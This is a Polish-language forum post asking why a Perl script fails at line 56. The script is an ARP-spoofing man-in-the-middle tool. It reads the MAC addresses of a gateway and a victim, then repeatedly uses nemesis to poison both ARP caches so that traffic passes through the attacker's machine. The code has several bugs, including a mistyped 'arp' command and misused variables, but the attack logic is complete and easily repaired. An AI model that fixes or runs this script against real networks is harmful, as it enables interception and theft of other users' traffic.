witam mam problem ze skryptem,skrypt sie kompiluje jednak w trakcie działania wyrzuca mi bład w 56 lini

oto kod źródłowy

Kod:
#!/usr/bin/perl

$gateway = shift;
$target = shift;
$time = shift;
$device = shift;

$i = 1;
$SIG{INT} = \&quit;

#Sprawdz poprawnosc argumentow przed startem
if ($gateway!~/^([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)$/)
{
 die("Uzycie: ./arp.pl IP_Bramy IP_celu Interwal Interfejs\n");
}

if ($target!~/^([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)$/)
{
 die("Uzycie: ./arp.pl IP_Bramy IP_celu Interwal Interfejs\n");
}

if ($time=~/^$/)
{
 $time = 10;
 print("[-] Interwal nieznany, przyjmuje 10 sekund.\n");
}

if ($time!~/^[0-9]+$/)
{
 die("Uzycie: ./arp.pl IP_Bramy IP_celu Interwal Interfejs\n");
}

if ($device=~/^$/)
{
 $device = "wlan0";
 print("[-] Interfejs nieznany, przyjmuje wlan0.\n");
}

#Odczytaj adrecy MAC bramy i celu
print("[+] Wysylam ?adanie echa do $gateway.\n");
system("ping -c 1 -w 1 $gateway 2>&1 > /dev/null");
print("[+] Wysylam ?adanie echa do $target.\n");
system("ping -c 1 -w 1 $target 2>&1 > /dev/null");

#Pakiety wyslano , mo?emy odczytac adresy MAC
print "[+] Oczytuje adresy MAC z pameici podrecznej ARP.\n";
$gateway_mac = qx[qrp -na $gateway];
$gateway_mac = substr($target_mac, index($gateway_mac, ":")-2, 17);

$target_mac = qx[qrp -na $gateway];
$target_mac = substr($target_mac, index($gateway_mac, ":")-2, 17);

#Sprawdz czy odczytane adresy MAC sa poprawne
if($gateway_mac!~/^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/)
{
 die("[!] Nie moglem odczytac adresu MAC dla $gateway.");     ---- tutaj blad-----
}

if($target_mac!~/^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/)
{
 die("[!] Nie moglem odczytac adresu MAC dla $gateway.");
}

#odczytaj wlasny adres IP oraz MAC
print "[+] Odczytuje wlasny adres IP oraz MAC, wykorzystuj?c ifconfig.\n";
@ifconf = split(" " , qx[ifconfig $device]);
$you = substr(@ifconf[6],5);
$you_mac = $ifconf[4];

print "{+} Interwal wysylanai pakietow to $time sekund.\n\n";

print "-> Ty:   $you [$you_mac]\n";
print "-> Cel:   $target [$target_mac]\n";
print "-> Brama:   $gateway [$gateway_mac]\n";

#Wysylamy paikety ARP
while($i)
{
 print "[+] Wysylam pakiet ARP: Powiedz $target, ze $gateway jest osiagalny pod $you_mac\n";
 system("nemesis arp -r -d $device -S $gateway -D $target -h $you_mac -m $target_mac -H $you_mac -M $target_mac 2>&1 > /dev/null");
 print "[+] Wysylam pakiet ARP: Powiedz $gateway, ze $target jest osiagalny pod $you_mac\n";
 system("nemesis arp -r -d $device -S $target -D $gateway -h $you_mac -m $gateway_mac -H $you_mac -M $gateway_mac 2>&1 > /dev/null");

 sleep $time;
}
#Wcisnieto ctrl+c przywracaamy orginalene ustawienia
sub quit
{
 $i = 0;
 print "[-] Koniec programu.Przywracanie orginalnych ustawien ARP.\n";
 system("nemesis arp -r -d $device -S $gateway -D $target -h $gateway_mac -m $target_mac -H $gateway_mac -M $target_mac 2>&1 > /dev/null");
 system("nemesis arp -r -d $device -S $target -D $gateway -h $target_mac -m $gateway_mac -H $target_mac -M $gateway_mac 2>&1 > /dev/null");
}
może ktoś wie co jest nie tak?